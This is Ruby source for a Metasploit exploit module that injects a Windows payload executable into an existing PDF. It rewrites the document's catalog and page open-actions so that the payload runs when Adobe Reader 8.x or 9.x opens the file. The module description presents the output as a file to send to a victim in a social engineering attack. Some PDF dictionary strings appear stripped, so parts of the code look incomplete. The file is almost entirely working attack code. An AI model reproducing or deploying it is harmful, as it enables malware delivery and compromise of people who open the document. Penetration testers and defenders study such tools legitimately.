require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::PDF_Parse include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe PDF Embedded EXE Social Engineering', 'Description' => %q{ This module embeds a Metasploit payload into an existing PDF file. The resulting PDF can be sent to a target as part of a social engineering attack. }, 'License' => MSF_LICENSE, 'Author' => [ 'Colin Ames ' ], 'Payload' => { 'Space' => 2048, 'DisableNops' => true, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Adobe Reader v8.x, v9.x (Windows XP SP3 English)', { 'Ret' => '' } ] ], 'DefaultTarget' => 0)) register_options( [ OptString.new('INFILENAME', [ false, 'The Input PDF filename.', 'msf.pdf']), OptString.new('EXENAME', [ false, 'The Name of payload exe.', '']), OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']), OptString.new('OUTPUTPATH', [ false, 'The location to output the file.', './data/exploits/']), ], self.class) end def exploit file_name = datastore['INFILENAME'] exe_name = datastore['EXENAME'] print_status("Reading in '#{file_name}'...") stream = read_pdf() print_status("Parsing '#{file_name}'...") pdf_objects = parse_pdf(stream) print_status("Parsing Successful.") xref_trailers = pdf_objects[0] trailers = pdf_objects[1] startxrefs = pdf_objects[2] root_obj = pdf_objects[3] output = basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxrefs.last) print_status("Creating '#{datastore['FILENAME']}' file...") file_create(output) end def ef_payload(pdf_name,payload_exe,obj_num) if payload_exe.empty? print_status("Using '#{datastore['PAYLOAD']}' as payload...") payload_exe = Msf::Util::EXE.to_win32pe(framework,payload.encoded) file_size = payload_exe.length stream = Rex::Text.zlib_deflate(payload_exe) md5 = Rex::Text.md5(stream) else print_status("Using '#{datastore['EXENAME']}' as payload...") file_size = File.size(payload_exe) stream = Rex::Text.zlib_deflate(IO.read(payload_exe)) md5 = Rex::Text.md5(File.read(payload_exe)) end output = String.new() output << "#{obj_num.to_i + 1} 0 obj\r<>/Desc(#{pdf_name})/Type/Filespec>>\rendobj\r" output << "#{obj_num.to_i + 2} 0 obj\r<>>>>stream\r#{stream}\r\nendstream\rendobj\r" return output end def js_payload(pdf_name,obj_num) output = String.new() output << "#{obj_num.to_i + 3} 0 obj\r<>\rendobj\r" output << "#{obj_num.to_i + 4} 0 obj\r<>>>\rendobj\r" return output end def basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxref) file_name = file_name.split(/\//).pop.to_s match = file_name.match(/(.+)\.pdf/) if match pdf_name = match[1] end catalog = parse_object(xref_trailers,root_obj,stream) match = catalog.match(/Names (\d+ \d) R/m) if match names = parse_object(xref_trailers,match[1],stream) match = names.match(/EmbeddedFiles (\d+ \d) R/m) if match embedded_files = parse_object(xref_trailers,match[1],stream) new_embedded_files = embedded_files.gsub(/(\]>>)/m,"(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{trailers[0].fetch("Size")} 0 R" + '\1') else new_names = names.gsub(/(>>.*)/m,"/EmbeddedFiles #{trailers[0].fetch("Size")} 0 R" + '\1') end else new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/Names #{trailers[0].fetch("Size")} 0 R") end if catalog.match(/OpenAction/m) match = catalog.match(/OpenAction (\d+ \d) R/m) if match open_action = "#{match[1]} R" if new_catalog if new_embedded_files new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R") elsif new_names new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R") else new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R") end else if new_embedded_files new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R") elsif new_names new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R") else new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R") end end else if new_catalog new_catalog = new_catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R") else new_catalog = catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R") end end else if new_catalog if new_embedded_files new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R") elsif new_names new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R") else new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R") end else if new_embedded_files new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R") elsif new_names new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R") else new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R") end end end pages_obj = catalog.match(/Pages (\d+ \d) R/m)[1] pages = parse_object(xref_trailers,pages_obj,stream) page_obj = pages.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)[1] page = parse_object(xref_trailers,page_obj,stream) match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m) while match page_obj = match[1] page = parse_object(xref_trailers,page_obj,stream) match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m) end match = page.match(/AA<<\/O (\d+ \d) R/m) if match aa = parse_object(xref_trailers,match[1],stream) end new_pdf = String.new() xrefs = String.new() if new_embedded_files pdf_payload = String.new() num = trailers[0].fetch("Size").to_i - 1 pdf_payload << ef_payload(pdf_name,exe_name,num) pdf_payload << js_payload(pdf_name,num) new_pdf << stream << pdf_payload xrefs = xref_create(new_pdf,stream.length,"*") new_size = trailers[0].fetch("Size").to_i + 4 if aa new_page = page.gsub(/(AA<<\/O )\d+ \d R(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 3} 0" + '\2') else new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 3} 0 R>>" + '\1') end new_pdf << new_catalog xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1") new_pdf << new_page xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1") new_pdf << new_embedded_files xrefs << xref_create(new_pdf,(new_pdf.length - new_embedded_files.length), "1") if trailers[0].has_key?("ID") new_pdf << "xref\r\n" << xrefs << "trailer\r\n<>\r\n" else new_pdf << "xref\r\n" << xrefs << "trailer\r\n<>\r\n" end new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_embedded_files.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n" elsif new_names pdf_payload = String.new() num = trailers[0].fetch("Size").to_i pdf_payload << "#{num} 0 obj\r<>\rendobj\r" pdf_payload << ef_payload(pdf_name,exe_name,num) pdf_payload << js_payload(pdf_name,num) new_pdf << stream << pdf_payload xrefs = xref_create(new_pdf,stream.length,"*") new_size = trailers[0].fetch("Size").to_i + 5 if aa new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 4} 0" + '\2') else new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 4} 0 R>>" + '\1') end new_pdf << new_catalog xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1") new_pdf << new_page xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1") new_pdf << new_names xrefs << xref_create(new_pdf,(new_pdf.length - new_names.length), "1") if trailers[0].has_key?("ID") new_pdf << "xref\r\n" << xrefs << "trailer\r\n<>\r\n" else new_pdf << "xref\r\n" << xrefs << "trailer\r\n<>\r\n" end new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_names.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n" else pdf_payload = String.new() num = trailers[0].fetch("Size").to_i + 1 pdf_payload << "#{trailers[0].fetch("Size")} 0 obj\r<>\rendobj\r" pdf_payload << "#{num} 0 obj\r<>\rendobj\r" pdf_payload << ef_payload(pdf_name,exe_name,num) pdf_payload << js_payload(pdf_name,num) new_pdf << stream << pdf_payload xrefs = xref_create(new_pdf,stream.length,"*") new_size = trailers[0].fetch("Size").to_i + 6 if aa new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 5} 0" + '\2') else new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 5} 0 R>>" + '\1') end new_pdf << new_catalog xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1") new_pdf << new_page xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1") if trailers[0].has_key?("ID") new_pdf << "xref\r\n" << xrefs << "trailer\r\n<>\r\n" else new_pdf << "xref\r\n" << xrefs << "trailer\r\n<>\r\n" end new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n" end return new_pdf end end